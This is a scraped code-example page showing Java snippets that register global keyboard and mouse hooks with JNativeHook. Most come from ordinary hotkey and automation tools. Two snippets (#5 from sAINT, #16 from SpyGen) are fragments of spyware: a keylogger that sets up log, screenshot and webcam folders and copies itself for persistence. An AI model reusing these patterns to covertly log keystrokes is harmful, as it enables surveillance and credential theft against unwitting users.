org.jnativehook.NativeHookException Java Examples

The following examples show how to use org.jnativehook.NativeHookException. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: GlobalKeyListener.java    From Path-of-Leveling with MIT License 6 votes vote down vote up
public static void run() {
	try {
		GlobalScreen.registerNativeHook();
	}
	catch (NativeHookException ex) {
		System.err.println("There was a problem registering the native hook.");
		System.err.println(ex.getMessage());

		System.exit(1);
	}

               // Get the logger for "org.jnativehook" and set the level to off.
               Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
               logger.setLevel(Level.OFF);

               // Change the level for all handlers attached to the default logger.
               Handler[] handlers = Logger.getLogger("").getHandlers();
               for (int i = 0; i < handlers.length; i++) {
                       handlers[i].setLevel(Level.OFF);
               }

               setUpKeybinds();
	GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
Example #2
Source File: JNativeKeyHandler.java    From Spark-Reader with GNU General Public License v3.0 6 votes vote down vote up
@Override
public void addListeners()
{
    // Set the event dispatcher to a swing safe executor service.
    GlobalScreen.setEventDispatcher(new SwingDispatchService());
    try
    {
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(this);
    }
    catch (NativeHookException ex)
    {
        System.err.println("Error starting KeyHandler:\n" + ex);
        System.err.println("Keyboard controls disabled");
    }
}
 
Example #3
Source File: GlobalListenerHookController.java    From Repeat with Apache License 2.0 6 votes vote down vote up
public void initialize() {
	if (GlobalListenerFactory.USE_JNATIVE_HOOK) {
		// Get the logger for "org.jnativehook" and set the level to WARNING to begin with.
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(Level.WARNING);

		if (!GlobalScreen.isNativeHookRegistered()) {
			try {
				GlobalScreen.registerNativeHook();
			} catch (NativeHookException e) {
				LOGGER.severe("Cannot register native hook!");
				System.exit(1);
			}
		}
	} else {
		NativeHookInitializer.of().start();
	}
}
 
Example #4
Source File: MouseEventNotificator.java    From DeskChan with GNU Lesser General Public License v3.0 6 votes vote down vote up
/**
 * Enables handling of scroll and mouse wheel events for the node.
 * This type of events has a peculiarity on Windows. See the javadoc of notifyScrollEvents for more information.
 * @see #notifyScrollEvent
 * @param intersectionTestFunc a function that takes an event object and must return boolean
 * @return itself to let you use a chain of calls
 */
public MouseEventNotificator setOnScrollListener(Function<NativeMouseWheelEvent, Boolean> intersectionTestFunc) {
    if (SystemUtils.IS_OS_WINDOWS) {
        if (!GlobalScreen.isNativeHookRegistered()) {
            try {
                GlobalScreen.registerNativeHook();
            } catch (NativeHookException | UnsatisfiedLinkError e) {
                e.printStackTrace();
                Main.log("Failed to initialize the native hooking. Rolling back to using JavaFX events...");
                sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
                return this;
            }
        }
        mouseWheelListener = event -> notifyScrollEvent(event, intersectionTestFunc);
        GlobalScreen.addNativeMouseWheelListener(mouseWheelListener);
    } else {
        sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
    }

    return this;
}
 
Example #5
Source File: Keylogger.java    From sAINT with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
public static void main(String[] args) throws IOException {
    detectOS();

    app_path = System.getenv(environment_variable_path) + folder;

    createFolder(app_path);
    createFolder(app_path + path_logs);
    createFolder(app_path + path_screenshot);
    createFolder(app_path + path_cam);

    if (persistence == true) {
        copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
    }

    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
    }
    GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
}
 
Example #6
Source File: Recorder.java    From SikuliX1 with MIT License 6 votes vote down vote up
private static void unregisterNativeHook() {
  try {
    /*
     * We unregister the native hook on Windows because it blocks some special keys
     * in AWT while registered (e.g. AltGr).
     *
     * We do not unregister on Linux because this terminates the whole JVM.
     * Interestingly, the special keys are not blocked on Linux at all.
     *
     * TODO: Has to be checked on Mac OS, but I guess that not unregistering is
     * the better option here.
     *
     * Re-registering doesn't hurt anyway, because JNativeHook checks the register
     * state before registering again. So unregister is only really needed on Windows.
     */
    if (Settings.isWindows()) {
      GlobalScreen.unregisterNativeHook();
    }
  } catch (NativeHookException e) {
    Debug.error("Error unregistering native hook: %s", e.getMessage());
  }
}
 
Example #7
Source File: Recorder.java    From SikuliX1 with MIT License 5 votes vote down vote up
private static void registerNativeHook() {
  try {
    // Make Global Screen logger quiet.
    // Floods the console otherwise
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);
    logger.setUseParentHandlers(false);

    GlobalScreen.registerNativeHook();
  } catch (NativeHookException e) {
    Debug.error("Error registering native hook: %s", e.getMessage());
  }
}
 
Example #8
Source File: PmTrans.java    From pmTrans with GNU Lesser General Public License v3.0 5 votes vote down vote up
public static void main(String[] args) {
	// Global keys
	try {
		GlobalScreen.registerNativeHook();
	} catch (NativeHookException ex) {
		System.err.println(ex);
	}
	GlobalKeyListener GKL = new GlobalKeyListener();
	GlobalScreen.getInstance().addNativeKeyListener(GKL);

	new PmTrans(GKL);
}
 
Example #9
Source File: GlobalKeyListener.java    From foolqq with BSD 2-Clause "Simplified" License 5 votes vote down vote up
public void nativeKeyPressed(NativeKeyEvent e) {

		if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
			try {
				GlobalScreen.unregisterNativeHook();
				System.exit(1);
			} catch (NativeHookException e1) {

			}
		}
	}
 
Example #10
Source File: BaseQQWindowContext.java    From foolqq with BSD 2-Clause "Simplified" License 5 votes vote down vote up
public BaseQQWindowContext(File point) throws AWTException, IOException, NativeHookException {
	robot = new Robot();
	pImage = ImageIO.read(point);
	WindowHandleTask wintask = new WindowHandleTask(this, map, robot);
	Executors.newSingleThreadScheduledExecutor().scheduleAtFixedRate(wintask, checkInterval, checkInterval,
			TimeUnit.SECONDS);
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(Level.OFF);
	logger.setUseParentHandlers(false);
	GlobalScreen.registerNativeHook();
	GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
Example #11
Source File: KeyShortcutsPanel.java    From nanoleaf-desktop with MIT License 5 votes vote down vote up
private void startKeyListener()
{
	try
	{
		shortcutListener = new GlobalShortcutListener(shortcuts, devices);
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(shortcutListener);
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(Level.OFF);
	}
	catch (NativeHookException nhe)
	{
		nhe.printStackTrace();
		if (nhe.getMessage().equals("Failed to enable access for assistive devices.") &&
				System.getProperty("os.name").toLowerCase().contains("mac"))
		{
			new TextDialog(KeyShortcutsPanel.this.getFocusCycleRootAncestor(),
					"Please enable accessibility control to use the shortcuts feature.")
					.setVisible(true);
		}
	}
	catch (UnsatisfiedLinkError ule)
	{
		ule.printStackTrace();
		new TextDialog(KeyShortcutsPanel.this.getFocusCycleRootAncestor(),
				"Failed to setup shortcuts. Your platform may not be supported.")
				.setVisible(true);
	}
}
 
Example #12
Source File: MouseEventNotificator.java    From DeskChan with GNU Lesser General Public License v3.0 5 votes vote down vote up
/**
 * Call this static method when you don't need to listen to events anymore.
 * It unregisters native hook and stops catching mouse events at all.
 */
static void disableHooks() {
    try {
        GlobalScreen.unregisterNativeHook();
    } catch (NativeHookException | UnsatisfiedLinkError e) {
        e.printStackTrace();
    }
}
 
Example #13
Source File: GlobalListenerHookController.java    From Repeat with Apache License 2.0 5 votes vote down vote up
public void cleanup() {
	if (GlobalListenerFactory.USE_JNATIVE_HOOK) {
		try {
			GlobalScreen.unregisterNativeHook();
		} catch (NativeHookException e) {
			LOGGER.log(Level.WARNING, "Unable to unregister JNative Hook.", e);
		}
	} else {
		NativeHookInitializer.of().stop();
	}
}
 
Example #14
Source File: HotKeysInterceptor.java    From MercuryTrade with MIT License 5 votes vote down vote up
public HotKeysInterceptor() {
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);

    logger.setUseParentHandlers(false);
    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException e) {
        e.printStackTrace();
    }

    GlobalScreen.addNativeKeyListener(new MercuryNativeKeyListener());
    GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
}
 
Example #15
Source File: HotKeysInterceptor.java    From MercuryTrade with MIT License 5 votes vote down vote up
public static void main(String[] args) {
//        new HotKeysInterceptor();
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.OFF);

        logger.setUseParentHandlers(false);
        try {
            GlobalScreen.registerNativeHook();
        } catch (NativeHookException e) {
            e.printStackTrace();
        }
        GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
    }
 
Example #16
Source File: Keylogger.java    From SpyGen with Apache License 2.0 5 votes vote down vote up
public static void startKeylogger() {
    try {
        GlobalScreen.registerNativeHook();
    } catch(NativeHookException nhe) {
        nhe.printStackTrace();
    }
    GlobalScreen.getInstance().addNativeKeyListener(keyboard = new NativeKeyboard());
}
 
Example #17
Source File: POELevelFx.java    From Path-of-Leveling with MIT License 4 votes vote down vote up
private void addTrayIcon() throws AWTException {
    final TrayIcon trayIcon = new TrayIcon(new ImageIcon(getClass().getResource("/icons/The_Explorer_card_art.png")).getImage(), "Path of Leveling");

    // Create a pop-up menu components
    final PopupMenu popup = new PopupMenu();
    final MenuItem shutdownItem = new MenuItem("Exit");
    final MenuItem settingsItem = new MenuItem("Settings");

    //Add components to pop-up menu
    popup.add(settingsItem);
    popup.add(shutdownItem);

    trayIcon.setPopupMenu(popup);
    trayIcon.setImageAutoSize(true); //So the icon auto-sizes

    SystemTray.getSystemTray().add(trayIcon);

    trayIcon.addMouseListener(new MouseAdapter() {
        @Override public void mouseClicked(java.awt.event.MouseEvent e) {
            if (e.getButton() == java.awt.event.MouseEvent.BUTTON1) { //Left click on tray icon (single click !)
                Platform.runLater(() -> {
                    //code to show things...
                });
            }
        }
    });

    shutdownItem.addActionListener(evnt -> {
        //code to exit the program
        //save stuff
        if(saveBuildsToMemory()){
            System.out.println("Successfully saved checkpoint");
        }else{
            System.out.println("Checkpoint save failed");
        }
        try {
                GlobalScreen.unregisterNativeHook();
        } catch (NativeHookException e1) {
                e1.printStackTrace();
        }
        System.exit(20);
    });

    settingsItem.addActionListener(evnt -> {
        //code to exit the program
        //save stuff
        if(controller!=null){
            controller.settings_event();
        }
    });
}